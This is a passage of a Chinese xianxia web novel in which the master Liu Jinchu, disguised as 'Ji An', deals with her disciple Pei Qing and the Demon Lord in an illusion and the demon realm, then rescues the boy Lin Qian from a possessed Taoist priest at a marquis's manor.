可她顾不上这些,方才的动静让她觉察到自己头上似是簪上了什么东西,因为她的动作发出了铃铃脆响,她抬手去碰,纱袖滑落露出半截白皙的小臂。 刚触及那步摇柳今初便顿住了,方才裴卿在给她戴步摇么?再细细摸摸她能觉察到这步摇镂空颇多,形状也似蝶翼,流苏长长延下。 这就是她先前看中的步摇,觉着与自己不搭就放下的那支。 抬眸看向那矗立着的人,柳今初心里五味杂陈不知要摆出什么表 情才好。 见他缓步靠近,她还想后退,可身后就是石桥壁,再后便是倒映着明月的江水了。 正欲从他身侧离开时,裴卿似是早就猜想到了她心里在想什么,伸出双臂将她牢牢圈在怀中。 柳今初睁大杏眼觉得很是不可思议,他何时敢有胆量冒犯他师尊了,平日不是那般恭敬顺从的么。 可怪异也不只是出在此处,她也想不清为何他要给自己买下那支步摇,更想不清为何要给她戴上。 这幅场景怪异得让柳今初觉得自己遇上了幻境里的裴卿,不禁想伸出手将他推开。 掌心刚触及他宽阔温热的胸膛她便停住了动作,掌心处传来的激烈的鼓动声在彰示着眼前之人是鲜活的,并非傀儡一样的幻象。 似是感受到了她的抵触,裴卿垂下眼不再看她,抵在石壁上的手渐渐握成拳,随后他抬眼看向怀中人的双眼,他看不见黑瞳里的亮光,应是他遮去了大半光彩,漫天灯火也照不进她眼中。 柳今初仍和他僵持着,方才慌乱的心跳渐渐平缓下来就见他撤开了手,大片灯火便映入眼帘,他投下的阴影从头顶慢慢褪至胸前,裴卿是拉开了些距离。 可似乎又没离开多少,不知是因为人来人往还是他想停在此处 柳今初觉得此刻气氛很是尴尬,四周的空气变得稀薄,好在他们在的地方人并非很多,又在一个摊子的围布旁,许是没有多少人注意到。 裴卿似是不在意这些,垂着头淡声开口透着几分沙哑,“徒儿知错了。” 柳今初料他也不会在意来往的人,毕竟她算是知晓了,裴卿当这魔界作了幻境无疑了,可她想不通,即便是幻境他这般做也说不过啊。 不过玉佩她拿回手了,上下打量他见他腰际没再挂着其他玉佩便想开口问芷汀的情况,正欲说出口她又将询问的话咽回肚子里。 她如今是没有幻化的样貌,问出口岂不是露馅了。 见她要说什么,裴卿自顾自上前,模样像是犯了错要受罚的孩童,倾身一副洗耳恭听的模样。 柳今初见了只想伸手拍他的脑门,料他还知道方才自己做了什么不该做的事。 可柳今初心中更多的不是气愤而是茫然苦恼,有了这次经历往后她又应如何面对他。 “光说这句话有何用,说说错在何处?”柳今初随意道,她已经拿回了玉佩,眼下心思又回到了自己想要进入幻境的目的,可她阴差阳错来到了魔界,一时间不知要去何处查侯府上发生的怪事。 更何况她又要如何与裴卿分开。 不过裴卿既知道这是幻境,怎么还在原地打转没有半分想要找到离开幻境的想法? “徒儿行事鲁莽,往后要赠与师尊物品切忌莫要心急。” 答得倒是头头是道,若不是柳今初还未忘却方才的感觉她便要轻信他了。 柳今初实在无处脱身,脑中便浮现了另一张脸,她抬眼看了眼前之人一眼,“罢了。你往后注意些。” 见他缓缓抬起眸看向她,凤眸微睁,浓墨一般的眼倒影着她的身影,黑瞳中便有了光弧。 此刻柳今初在心里念出两字,又道明了自己的想法。 顷刻间她便觉着自己浑身轻飘飘的,纱裙翻飞好似云雾,随后她便觉察到自己来到了另一处地方,正端坐在床踏上,身旁堆叠着一张轻薄的被褥。 31. 第三十一章 果真有用,她又回到了这里。 柳今初看看四周没见着人影,她还想和那人商量商量先放她出去魔界的事。 不过魔主应是忙得很,毕竟魔族气息到处乱跑的事,在仙界看来就是天大的挑衅。 柳今初起身下了床踏,试着捣鼓床头处的烛灯,暗自在心里吐苦水。 明明知道这屋子暗得阴森森的也不给她点了灯再送她进来。 不过让她欣喜的是,她重回这里后,体内的灵气便可运转如常了,虽然身处灵气稀薄的魔界,可她自身便是蕴含丰沛灵气的仙者,自然是不必担心这些的了。 柳今初将长长的纱袖推至小臂处,开始摸索这屋子有没有什么藏在暗处的机关,方才她用了些灵气便点亮了烛火,可她不愿白白把灵气消耗在此。 她既已恢复运转灵气的能力,那将查询幻境由来的事便可提起行程了。 身影窈窕的女子在屋内晃荡,纱裙如影,在烛火淡光与绸缎帷幕中显得影影绰绰。 可她翻找半日也不知该从何处离开这屋子,在心中白白喊了几声魔主也不见他回应半句。 “这会儿是和仙界的人打起来了么?”柳今初自顾自嘟囔几句。 方才在石桥上走了许久,魔界的人也不似他人口中那般野蛮凶残,甚至对于她来说这幅热闹非凡的人群与原著的描写可有许多冲突,没有发出凄惨嘶吼的妖兽,也没有当街大打出手的魔族百姓。 如此看来那方曾被描述为炼狱阎王地府的魔界并非如此,可她还是持有怀疑态度,原著的确是一字一句这般写的。 而她更不相信这世界已经翻天覆地般地改变了。 她只是这个世界唯一的变数,是众多棋子中最不起眼的一枚,再如何做也掀不起什么波澜。 可她为什么又要面对不属于自己的归属呢。 这里环境闭塞,处处花窗紧闭,也没个正门,让柳今初不自觉生出几分忧伤来。 “你若是有妖尾,是要垂到地上了。”那男声混杂笑意。 柳今初有些气恼,她走来走去翻找了许久也不见一处可让她离开的口子,就是他让锁到了这屋子里,眼下他还好意思笑她。 还有先前她便让徒弟吓了一跳,本就心里不畅烦躁得很。 穿着纱衣的女子当即起身,似是咬着牙面上的怒意都已满出来了。 “你好歹也告知我一声如何进出此地吧?”柳今初一下说完觉得口干,欲走到桌前寻一杯茶水喝。 “这可不是你们仙者能喝的茶水,你若喝了便是在修行魔道了。”他似是满不在意似的随意开口,只撇瞥了她手中的茶水一眼。 柳今初捏着茶杯的手顿了顿,好在她方才在石桥上心情不好没心思买吃食,不然若是不小心修了魔道,那不是觉着自己死得不够早么? “那你放远些,你可知你险些害了我。”柳今初在与他相处的这几个时辰便发现了这位魔主似是与原主关系很是不错。 不过她也说不清或是猜不出两人究竟是什么关系,更何况她脑海中对他的了解也是空空如也的,全然不知这人究竟真名为何。 “罢了,算你及时救我于水火之中,我便不追究此事了。”柳今初随意一句掠过。 她话锋一转便道:“不过,你该如何处理误入魔界之人?难不成你不知那幻境与你魔界是何关系?” 柳今初忽地忆起方才买簪子步摇的小摊,店主见了裴卿怎么会那般自然地将“魔晶”换了叫“文钱”? 而对她同位剑修的仙者却是不避讳。 “方才不理你便是因为此事。”魔主将她倒的茶水拿起。 他慢慢酌饮,侧目视线淡淡看向柳今初,直至喝完茶水,“我也说过,那幻境并非我的手笔,反而是你们仙界的手笔。” 柳今初听了一顿,怎么会是仙界,那又是哪位长老所做的?这幻境一瞧便知不简单,必然不是宗门弟子的手笔。 可他的话也令柳今初存疑,她与他仅见过仅在今日,自然谈不上信任。 见女子抬眸瞧他一眼似是心中顾虑一般,他便猜着说道,“怎么,不信我?” “也是,我们许久未见,而你始终还是站在仙界那处的。” “不过,你的徒儿此刻真的陷入了幻境里了。方才你失魂落魄,心中藏的是他吧。”魔主把玩着茶杯似是在回味茶水的味道。 柳今初此刻实在有些担心了,觉着自己现在心中的所思所想尽数让他知道了。 于是在心中暗自道朝他说了许多这位魔主绝听不懂的话。 她倒不是很担心裴卿,区区幻境身为男主还不能应付那才是说不过去,说不定过了此劫他修为还能忽地增长。 更何况芷汀也在,符修自是最会破解幻境的了。 于是柳今初便回道:“他定能破除幻境,你将他放出魔界便可。” 说完柳今初便看着他带笑的俊脸等着回话,可却见他扬眉摇头。 “我只答应让你自由出入魔界,可没曾说他们也可以。”那笑意不减半分,可柳今初觉着这勾起的唇愈发狡诈了。 “你这是要同我谈条件?”柳今初也是职场人,哪里看不出他想提条件的心思。 他听着笑意愈发浓了,倾身靠近她耳畔细语几句。 柳今初听了拳头都攥紧了,可最终还是没有挥拳打下去,深吸一口气只“嗯”了一声算是答应了。 * 转瞬间,两人便来到空无一人的石桥上,方才的繁华好似泡影一般散得无影无踪,周遭也静谧,并无半点烛火的温暖光火。 有凉风袭来,从裙摆处擦过,将她纱织的衣裳吹得轻扬,她觉得有些冷便伸出手搓了搓双臂。 柳今初觉得这石桥的氛围愈发像那有口深井的幻境了,许是说此处真真切切就是一处幻境。 恍惚之际,她感觉到腰间处传来了淡淡的温热感,随后那温热慢慢散去,让她想起了他冰冷的指尖。 她想推开放在自己腰际的手,可又想起先前魔主在她耳旁的话,她还是没抬手推开。 看了一眼搭在自己腰际的那只宽大手掌,长发披散的人似是注意到了她的视线,力道收紧 半分。 柳今初抬眼要瞪他一眼以表自己不甘示弱的态度。 却没想将视线从自己腰际移开时,余光瞥见了那道熟悉的身影。 长发高高竖起,青色的发带应着徐徐吹来的风飘晃,时不时在墨黑的发中显现。 他身后也是一片黑,他又是平日那身暗色衣衫,整个人便是藏没在夜色里,唯有那双黑白分明的凤眸清晰。 太远了,柳今初看不清裴卿的神情,可她隐隐觉得不安。 这是她第一次在他身上感受到了出了淡漠疏离以外的情绪,可她摸不清是什么。 “你如今信我了么?”魔主松开放在她腰际的手,转而俯身在她耳边道。 随后他又一字一句念出她的名字,“柳今初。” 柳今初不知此刻要如何动作,她觉得浑身僵硬得很,心鼓动得似是要从她喉间跳出来一般。 随后她只觉得视线愈发模糊了,明明她是那般想看清裴卿的脸。 她不清楚自己为何这样慌张,但此刻的气氛就是让她坐立不安,可她不知为何。 “师尊,你愿从魔也不愿同我走么?”他沉默良久开口便是要问她。 这声音已不再如先前那般青涩,沉闷的沙哑多了几分,直至此刻柳今初才发觉,他们站得不远。 还是说是裴卿在走近,她不知道。 “你实在不像一位师尊,更不像一位剑修啊。”魔主仍旧俯着身,只是他扬起了头抬眼看着身前的站着的人。 他的视线始终落在他怀中女子的身上。 柳今初本就有些站不住脚般茫然了,眼下这魔主又再刺她一句。 她眼前的朦胧瞬间散去,柳今初当即侧头看向他,眼中的错愕和暗流交织。 他又是如何看出的,柳今初想出这一可能又迅速将它抛去,她不信有人能真正看出她是真是假,更何况他只是魔主。 忽地手腕处传来钝痛,柳今初将视线收回,鼻尖先是嗅闻到了那熟悉的墨香,随后便是木般的沉香,萦绕鼻尖。 随后她便感受到了手腕处传来的拉扯感,紧接着便感受到了身后胸腔的轻轻颤动和如鼓振动的心跳声。 “师尊,切莫误入歧途不是你所教我的么?”他似是受了伤,语气轻轻,话中还带着气音,可她听得出他话中的认真。 柳今初气息微凝,有一瞬认同了魔主方才对她说的话。 她面上没有什么情绪,转而伸出自己的手想将他的手握紧,手中传来濡湿的触感,柳今初眨了眨眼,眼中淡光尚存。 “你,受伤了?”她不确定地问出口,微微松开没敢用力握他的手。 转而她感受到了裴卿反握她的力道,明明受了伤,怎么还是敢这样使出力气。 柳今初心中的杂线更理不清了,此刻她偏偏又想起在那屋子里魔主在她耳畔处告诉过她的话。 “这份情可真是浓,竟让我都能感受到。你可是我已经有多久没有感受到这样深的执念了?” 什么叫执念,裴卿对她能有什么执念,此刻他已经起了杀心了么? 32. 第三十二章 柳今初压下想当即离开的想法,顺着裴卿的力道想让他松开些,这握得实在有些疼了,和方才拉她手腕一样,疼得她想抬起另外一只手拍开,差点儿就要让从来不打徒弟的良师形象破灭了。 柳今初为了让他冷静些,轻捏了捏他的手,才是发觉他的指骨是那样明显。 似是感受到了她的动作,抑或是她的安抚起了作用,柳今初能感受到裴卿身上的狠戾散去,浑身透着冷意。 看着他似是受了不小的伤,那这幻境是有多难辨认又是有多惊险,柳今初不知。 她看向站在对面默不作声却唇角扬起皮笑肉不笑的长发男子,魔主仍是看着她视线不偏不倚,让柳今初觉着他在她耳畔低语的感觉仍尚存。 按照原来的想法,柳今初任由裴卿紧握着自己的手,转而面向他,启唇带笑,白皙透着淡红的脸颊梨涡显现。 她低低说:“裴卿,你如今的实力竟连真假都分辨不清了么?” 柳今初将另外一只手攀上他的后颈,随后张开收紧指尖的力道,渐渐能感受到指尖处传来了温热皮肤下脉搏跳动的触感。 柳今初本是狠不下心这样对待自己的徒儿的,更何况他还是今后可能对她不利的而她却如何也能抹除的人,虽说她现已经不再对他抱有隐隐约约的敌意了。 正欲加码让他认清现在的局势,却听他一笑。 相处许久,柳今初还是第一次见他这样笑,这笑似乎不含半分愉悦之意,反倒有几分她辨不清的情绪。 感受到他微颤的肩,柳今初似是不明白他接下来要做些什么了。 在她看来,若是看清了这是个明晃晃的幻境就要果决地动手才是。 “似乎他是自己不愿如意离开。既你狠不下心动手,那便让本座来。”柳今初脑海中忽地出现一道声音,她听得出是魔主在说,可为何会出现在她脑海中,柳今初闭了闭眼忍住没出声。 “你也不必担心,本座自然会按你所说不让他半死不活地离开这里。”脑中的声音停了片刻后又响起,柳今初还能听见一声笑,哪怕这笑声弱得很她也能辨出。 似是默许了,柳今初没有拒绝,松开了迟迟没有使出力气的手,将温热的指尖从裴卿的脖颈处移开。 随后柳今初便感受到了身后一阵轻微的冷风袭来,卷起她的衣摆。 再回神,长发披散的男子便同她对上视线。 此刻她被裴卿握着手,鼻尖近乎是靠上了裴卿的肩头,自己看不到裴卿的脸,两人似是面对面拥靠着。 而魔主便站在她面前,裴卿身后。 柳今初觉着这幅画面很是奇怪,可她脑中感觉更不对的是裴卿的动作。 裴卿没有任何动作,脚步不动半分,紧握她的手也未松半分。 他怎会不知魔主来到了他身后,她也不信裴卿看不出披散着黑发的男子身上散发的魔族气息。 随后柳今初先是感受到了手上传来的力道顷刻间送了,随后裴卿便向后仰去半分,让她看清了他此刻的样子。 浓眉星目,眼神狠戾,她没见过的,让她觉着很是陌生。 不过更吸引她的还是那双狭长的凤眸,瞳仁一片漆黑,让她想起那深不见底的井。 裴卿仍是笑着的,凤眸浅浅弯起,唇角轻扬,她才发觉他的唇色淡得很。 可没等她再看一眼,眼前的人便冷下脸来随后撤步转身,与她拉开一道长长的距离。 柳今初还未看清他的动作就听到了铁器碰撞发出的刺耳嚓响,随后她便看见了猩红的火花。 怎么就打起来了? 柳今初向前走一步,本想拉开两人,可转念一想,虽说两人在她看来都暂时被划在了良善之人的位置。 可对于裴卿来说,魔主似乎就是幻境中的妖魔了。 虽说魔主的的确确是魔族之首,与传统妖魔也没多大差别了。 可裴卿怎么不先向她挥刀,分明离她最近了。 而且在幻境里,往往最危险的便是自己熟悉的人,或者说这些人是傀儡一般的存在。 照这般看,柳今初不知现在是应欢喜先,还是劝架先。 欢喜是她这十几年的照顾呵护裴卿看在了眼里,如今面对所谓幻境里的她,裴卿也没选择动手。 不过魔主的意思是让裴卿能安全离开魔界,可眼下两人打起来了,她该帮谁好? 柳今初脑中冒出这一念头又立即摇摇头打消这怪异的想法,还是劝架要紧,毕竟魔主并非真要索裴卿的命,可裴卿是定了决心要杀了他的。 为了不让裴卿察觉到她身上散发的灵气,柳今初只好远观而不近战了,她可不愿受到波及。 于是乎她便试着在脑海中唤道,“魔主,你可听得见我讲些什么?” 待她在心中默念完自己的想法,另外一道男声便如约而至在她脑海中响起。 “你不必担心,本座言出必行,自然不会伤了你那个宝贝徒弟。” 柳今初听完抬眼看了一眼还在僵持的两人,两人的打斗动作虽没刚开始时那般激烈了,可局势也不容乐观。 正当柳今初再猜想魔主会怎么解此局时,忽地一阵凉风划过她的耳畔,带起她的发丝,在空中轻扬出一道弧度。 随后柳今初便感受到脖颈处传来的压感,喉间隐隐传来一点疼痛。 待她回神,魔主已将她牢牢箍住,开口不紧不慢道:“若想她安然无恙,那便……” 未等他说出后面的半句话,柳今初便看见了从远处一下来到自己跟前的裴卿。 他面上仍不带什么情绪,可眼中欲将人千刀万剐的狠戾早已溢出。 随后她便听他沉着声开口。“放了她,我同你走。” 同时脑海中响起魔主的声音,“并非真要伤你。” 随后她又在脑海中听到,“他当真把你看作幻境傀儡了?这样一看,你的得意门生也不过如此。” 柳今初不知要回些什么好了,该说徒儿实力强悍还是过于鲁莽她也难以下定论。 不过她想结束此行了,便在心中道,“那便就这样做吧。” 魔主在她话音落下后便应了裴卿的话,手未撤开而是戒备似地向后移开步子。 与裴卿交手几次下来,他实在不得不承认裴卿的确能作为元剑宗的得意门生,不过要说是仙界的,还是远远不及。 这番做法奏效,柳今初看着两人从走出一道无形屏障后,她站在原地等了片刻,才是跟了上去。 刚穿透那屏障柳今初便感受到了熟悉的灵气环境,与魔界 相比,这侯府的灵气可要充沛许多。 引入几分灵气入体后,柳今初马不停蹄地开始观察自己,左看右看见自己幻化回了季安的模样才放下心来。 随后她便推开了裴卿屋子的木门,几步便来到了内堂。 这里便是侯爷王妃常待的地方。 凡间有天上一日地上一年的说法,柳今初她去了魔界那几个时辰里,凡间倒是过去了好几日,那便是要错过道士进侯府除邪气了。 不过让她觉得起奇怪的是这一路走来她都未曾见到一人,柳今初不禁皱眉。 她刚出了魔界从裴卿的床榻上醒来就没见着裴卿的身影,现在也是未见一人。 而道士进侯府除邪气,侯府不说侯爷王妃和小郎君要避开,连下人也要里内堂远远的。 那么现在内堂附近除她外空无一人,那便是道士还在除邪气了。 柳今初想着便推开了内堂的门,铺面而来的就是瑞炭熄灭后堂子里余下的炭火气息。 她环视内堂又去了别处逛了许久,直至将要黄昏也并未看出什么怪异之处来,于是又回至内堂。 她还想着借道士除邪气看看侯府里怪事频频的缘由为何呢。 不过那又有口井的幻境能和魔界牵扯上关系,想必侯府里的怪事也多少与魔族气息有关。 正想着,柳今初便听见了陌生的声音,那人念着什么她听不懂,不过用灵力一探便知是道士在做法。 随着那声音的逼近,柳今初不慌不忙地轻跃跳上房梁,又收敛了自己身上的气息。 她发现自从藏着身份跟着裴卿历练许久后,她躲躲藏藏的本事真长不少,就算自己现在的修为并不全,又与裴卿差不了多少她也能躲过裴卿的探查。 对此柳今初找回不少属于师尊的面子。 毕竟随着裴卿从九妖山到远东再到洛阳这一路来,她没少在裴卿身上落了气势。 想到此柳今初便觉得裴卿实在是个认生的徒弟,他师兄师姐就不是这样,裴卿似是会选择孤行一生的人。 在原书中若不是芷汀处处想着他,让他染上一点温度,柳今初都要觉着裴卿会孤身一人直至飞升成仙了。 那样多孤单,明明很小起就过得那般苦那般孤了。 忆起此事,柳今初便想起来自己许久之前送裴卿下山时让他带好柿饼的事,她知他喜欢这果脯便给他做了些。 可她同他一起历练以来从未见他吃过。她虽没自己尝过,可也不会难吃到这般地步吧。 柳今初想得有些出,连身旁多出一人也没及时发觉。 直至那冷淡的沉香愈发明显,柳今初侧头便与他对视上。 这一看倒是没什么,那张不带任何情绪的脸她见多了。 可她下意识探看他的修为却发现裴卿竟是到了元婴初期。 会不会太快了些,原里他这个年纪还是金丹后期,还说着裴卿耗费许多日子才突破的元婴初期。 柳今初觉得这进展愈发快了,快到她脑中已幻想出仙魔劫明日便到来的样子了。 她下意识抬了抬手,指尖半掩红唇,双眼微微睁大。 随后让她身体一激的话便贯入耳中。 “季安,你不是也到了元婴期么,惊觉什么?” 33. 第三十三章 柳今初没有回话,而是转头不再看他,只盯着房梁下的影子。 似是已经到了傍晚的缘故,那影子被拉得很长,斜斜映在内堂的地上。 随着影子的移动,那人便进了屋子。 这身衣着一瞧便知不是道士,柳今初再看一眼便知那人是谁了。 她有些错愕,不知在此处再见他是什么感想,算是惊讶多些,让她险些没站住脚。 将要稳住自己时,她肩处传来轻微的拉力,那道力助她稳住了身形。 柳今初觉得奇怪,侧眸瞧他一眼,见裴卿并未看她,而是直直看着下方的人。 侧脸冷峻暗含几分专注,他似是感受到她不再晃动了,默不作声地松开了手。 柳今初强迫着自己将视线从他身上移开,自从在魔界见他给自己戴上步摇之后,她便不能像从前那样坦然看他了。 她也说不清为什么,只是觉得心中隐隐传来了如不安一样的感觉,像突然有一滴水砸中了花瓣一样,那花瓣便是她的指尖处的脉搏。 不过眼下不是想这些有的没的的时候,柳今初看向站在下方的少年。 他的衣裳依旧是粗衣麻布,不过浑身的气息变得凌厉许多。 柳今初不知林谦辞师下山后去做了什么,不过她能猜到林谦定是与魔界有关系,就连她娘亲也是。 想到此柳今初轻咬自己的唇,她怎么会忘了同魔主问清林谦的事。 忽地,她听见了刀刃划开血肉的声音,随后她便见了一地红艳艳的血。 雕刻精美的花窗上溅上几滴血,随后诡谲尖利的嘶吼声在内堂炸响。 柳今初便见倒地不起的那名道士以一种十分怪异的姿势重新站起了身,站在他面前的林谦似是发觉了什么,手中的刀在颤。 哐当一声,那把沾了血的刀跌落在少年脚边,林谦脸上充满了恐惧之色,张着口,眼神惊恐地直直看着倒地后又站起身挪步走向他的人。 他当时只觉得道士身上透着不属于凡人的气息,察觉到这一点时,他便与道士近乎在一瞬间变得全黑的双眼对上。 慌张之间他便挥起手中的刀,狠狠将他的腹部刺出一个血窟窿,他似是没想到这一刀会让道士瞬间倒地又溅涌出许多血。 少年似是第一次见到这样刺眼的画面,就算已在仙界修行了一段时日,也难抵真正见到这般场景时身体发出的抵抗。 柳今初看了也觉得刺眼极了,她虽也是第一次见这般场景,可她与林谦不一样,她有原主身经百战的感受,她修为远远高过他。 他们唯一一样的,便是她本身也是凡人,心魂就是凡人有的,而身体却是修为高深的。 可林谦就不同她一样好运了,他从始至终就只是一个实实在在的凡人,如今身上的灵气也稀薄得令人看不清。 柳今初没再无动于衷,当即就跃下房梁,一把将人拉入怀中,撤开一大步,随后空出一只手顷刻间一道屏障便从掌心蔓延展开将两人环住。 裴卿似是没想到她会这般快地出手,后她一步跃下房梁,看她一眼便将背后挂着的长剑拔出,行剑果断迅即,剑刃锋利,寒光折射。 柳今初见林谦除了受到些惊吓便无其他伤处了,于是轻声开口:“你在此处待着便好,切莫离开这屏障,我们会护你周全。” 时至今日,柳今初才对仙界各宗门共同立下的碑柱上那刻出的字是那样真。 上面刻着的只有四字———天下苍生。 她本是嗤笑的,以因为仙魔劫来临时,他们中又有多少顾及了天下苍生,无辜百姓。 可如今想想,她是她,他们是他们,她就算来到了这里又要面对许多事,她也还是她。 她是柳今初,也不是柳今初。 “你第二次这样救他了。” 柳今初听了便应上一句简短的“是”。 随后她又便补到,“你只是慢我一步。” 她怎会不知裴卿也有救林谦的心,若没有半分,那她苦苦教养他要心怀天下大义凛然之心就是白费功夫了,而且她不信同他生活多年,裴卿会不有半分她身上的善心气息。 那她就真是称不上一名良师了。 那道士似乎只是一个幌子,两人联手三下五除二就将人撂倒在地,柳今初似是有些不放心似的,柳今初施了术法用灵气幻化成的绳索将人捆绑住。 做完一切,柳今初拍拍双手,正要看看林谦现在如何了,却听裴卿站在身旁冷不丁地开口。 “怎么不将它收起来?”声线平平,可柳今初听出了话中的轻笑之气。 话里有话。 柳今初停住步子侧身看向他,顺手扯下腰际挂着的玉佩,转在指尖,等拿玉佩的细绳又落回指根,她也笑着回他。 “你说玉佩是么?” 柳今初不是没有想过裴卿会在意玉佩里那只妖兽,他似是还在对那件事耿耿于怀,他还对她心有余悸。 “我早就同你说过了,我与魔族并无瓜葛。”柳今初边缓声说,边在脑中暗笑,他还是没看出这玉佩究竟是谁的。 是他师尊柳今初的,可不是他眼前叫季安的人的。 柳今初很是愉悦,虽说裴卿是天赋异禀的男主,可他如今再如何飞速晋升也赶不上他师尊,要看出这玉佩的真形还是有些困难的。 “你若不信便算了。”柳今初不再看他,转身走向林谦,撤开了屏障。 却没想在屏障收回手心时,裴卿道:“我信你。” 柳今初双眼微睁,将坐在地上双手抱膝的少年拉起。 “嗯,那最好不过了。”柳今初觉得他相信得未免有些太过容易了,可对她也不算坏处。 “裴卿能借你屋子一用么?让他换身衣裳,他的衣裳沾了血。”得到了许可,柳今初轻拂开少年脸上的灰,伸手向外一指柔声嘱咐他,“你不必害怕什么了,那屋子就在那边,快去吧。” 林谦受惊似地看着她点点头,方才的狠戾尽数褪去,脸上满是劫后的不安之色。 柳今初很是有耐心,稍稍俯身拍他的肩,没做声,只是给了他一道肯定温柔的眼神。 待林谦离开内堂后,柳今初便把内堂的门合上了,蹲下身盯着那倒地又被五花大绑的道士想着要如何处理才妥当。 难不成真要听裴卿的,把这道士,或是说一个不知是妖是魔的东西收进玉佩里? 忽地有声音从她头顶上方传来。 “你为何会那样关心他?” 柳今初听完这句话,有一瞬觉得这 不是裴卿的声音,愣怔一下抬头看他,有些不明所以,“谁?” “方才那人。” 柳今初沉默一会儿没做声,她并不觉得那算得上是关心,最多就是善心吧。 “他身上有魔族气息,上次你便见到了,却还是冒险救他。”他话未完,又道。 “他只是凡人,沾上魔族气息想必不是他想的。而且你不是也觉得我身上有魔族气息么?”柳今初不疾不徐开口,她早就猜到了裴卿对她的猜疑是什么了。 裴卿收回视线,下意识开口,“你不同。” 似是他也不相信自己会这样认为柳今初不会伤害他,不会觊觎他所独有的珍稀之物。 柳今初还是没有做声,而是看着他垂下的眼,她在想裴卿心里究竟藏了什么事,近日与他相处,觉得裴卿愈发不像从前了。 可真不说什么,让气氛僵住也让她不好受,于是柳今初只能含糊过去,“嗯,不过芷汀呢?我怎么没见到她?” “在她屋内,她灵气散失许多,正在修养。”裴卿听出她并不想再同他说下去,顺着她应道。 果真柳今初不再同他说话。 柳今初没有再想怎么处理这半妖半魔的东西,她想得有些烦了干脆便将它收入玉佩里。 只愿先前那只妖兽不会同它打起来吧。 这一行倒是让柳今初发现先前那只鱼头妖兽怪在何处了,它与这“道士”一样,虽有自己的身形,可却是一副空壳,只知要做什么事,就宛如傀儡一般 而它们身上也有魔族气息,若杀了它们,那魔族气息便会散去,就如现在已经奄奄一息的“道士”,它身上的魔族气息便开始慢慢淡弱了。 若真是这样那便说得通了,她说她怎么会在收下鱼头妖兽后总想着去凡间,不过这些念头倒是被她用“不辟谷,享美膳”这个理由打消了,也渐渐抛在脑后,若不是今日的事,她可要误会自己了。 想通许多后,她心也变轻许多,心情好了不少,想同裴卿说清先前为何自己不愿杀那妖兽。 唇角微弯,语气轻快许多,“裴卿,你心中还想着那只鱼头妖兽吧。” 青年没想到她还会与他多说,也蹲下身与她平视。 墨黑的双瞳认真地看向她,在等她开口继续说下去。 见他这样诚恳,柳今初觉得他这副模样很像儿时的裴卿,眼中不含其他情绪和杂绪,只安静地看着你等你说出那些他想知道的事。 而这时柳今初便会抬手轻摸他的头,觉得他可爱便先开口逗他一句才肯说正事。 儿时的裴卿会用毛茸茸的脑袋蹭她的掌心,幅度很小不过她能感觉到。 不过如今和往日不同了,裴卿不会再蹭她的掌心,再长大一些柳今初也不好摸他的发了,不过开口逗他倒是不变的。 柳今初倒很是想念这些细索道温情,于是向他勾勾手指,面上很是认真。 裴卿顺着她的意,倾身靠近,身侧的手指节清晰将衣布攥着,呼吸轻了几分。 柳今初装作严肃,压低声音道,“你若想知道我为何那般做,我许你进去问问它。” 听清她在说什么后,裴卿愣怔片刻,仿若想起了熟悉的话和语气,目光渐渐暗下,不知怎么地就看向了她。 34. 第三十四章 柳今初见他看向自己,以为他是有些气恼了,毕竟他眸色暗暗,浑身透着冷意。 “好了好了,我和你说笑的。”柳今初移开视线不看他,觉得徒弟越来越不经逗了。 “我听你说便好,不用它。”裴卿道。 柳今初收起的目光又忽地转向他,抬眼不可置信地看了他一眼,险些没抬起手捧起他的头看看是伤了何处。 “你当真没有生气?”柳今初虽喜欢这样时不时逗他,可她还是愿让别人生气的。 青年不作声只轻摇一下头,发丝柔顺贴在额角,浓黑却有光亮,发丝下的双眼柔和几分,他已经许久没有藏起眼中的冷意了。 柳今初嗯一声,清了清嗓开口认真同他解释,“那鱼头妖身上有魔族气息,和那‘道士’一样,若是它们死了,那魔族气息便会消散了,再也追不回来。我当时也是觉得那鱼头妖怪,可我说不出怪在何处,只觉得它有些人的气息,我怕它真是藏着一个无辜之人,便不愿杀了它,而如今见了‘道士’,你也知,见他第一眼便觉着他是人。” 柳今初说到这顿了一下,语气更轻半分,“可它却是妖魔参半的东西,那人的气息也不知从何而来。” 似是听出了她语中淡淡的忧伤,裴卿心中虽觉得怪,却还是顺着当下的想法,启唇学着心中那浮现之人的口吻道,“并非你的错,不波及百姓是应当之举。” 他觉得自己如何说,如何柔声也道不出那分感觉,也是她是独一无二的,任何人也不能成为她,连影影绰绰的影子也成不了半点。 柳今初没想到他会这样答,她本在心里想出了他沉默待她继续道的模样。 不过这样倒是让她惊喜,她也欢喜几分,欢喜他会这样想别人了。 毕竟在他眼里,现在的她不仅是别人,还是一位很可能与魔族有勾结之人。 “嗯,你这般想真好。话说回来,你今后也要这般同人说话不好么?”见他投来不解茫然的目光,柳今初唇角轻扬。 “你想想,这只是一介误会,你若是往后又遇到了这样的事却还像先前对我警惕疏离一样,你会失去多少志同道合之人。当然,我可不是劝你为了留住这些人而委屈自己。”柳今初看着他缓缓道。 不过她觉着现在的裴卿稚气早已尽数褪去了,现在更多的是沉稳之气,可无论是谁,在她眼中,只要她想将自己珍贵的经验想法同这人说,那她便不会把这些人看作是受教之人,而是交心之人,哪怕只有这一刻在深深信任着彼此。 “总算同你说清了,你可知我得知你对我有猜疑之心时有多伤心,我分明是个良善之人!”柳今初虽将心中的郁结解开了,可她总要说出自己当时的难以置信与伤心来。 说完柳今初也不愿再留在这内堂了,她觉着与其追随那魔族气息,不如直接问问魔主。 不过她隐隐觉得魔主是不知此事的,或许说这些并非他所为。 女子站起身,将衣摆理顺,同裴卿打了声招呼便迈步走去门处。 待她推开门,明月辉光盈盈洒落在了她的襦裙上,已经入夜了,她今日一整天都没吃些什么东西,眼下她只想溜去厨司处找些吃食,对此她还是十分期待的,毕竟请道士入府,厨子定会准备些味美的膳食招待道士。 在去厨司处的路上,柳今初路过裴卿的住处,在这屋子旁就是芷汀的住处。 她没进去打扰,只略略看了一眼,透过花窗,看见烛火映照下的影子辨出芷汀似是在打坐,应是在养伤,而林谦她不知他在做什么,裴卿的住处没有烛火。 不过柳今初能很快发现林谦在哪里,这府子在如何大,她也能用点灵气就摸个透。 一路探看,她也走到了厨司处,在还未推门前就发现了比她早到一步而且已经大饱口福的林谦。 一推门,那木门发出的吱呀声就吓了少年一跳,林谦手中咬了一口的金黄糕酥便应声落地。 少年似是才发现有人进来了,赶忙手忙脚乱地把桌边自己带来的油灯灭了。 柳今初自然是注意到了他的动作,也没想着藏着自己吓他,踏着步子,发出轻微的触地声响,直至走到他跟前。 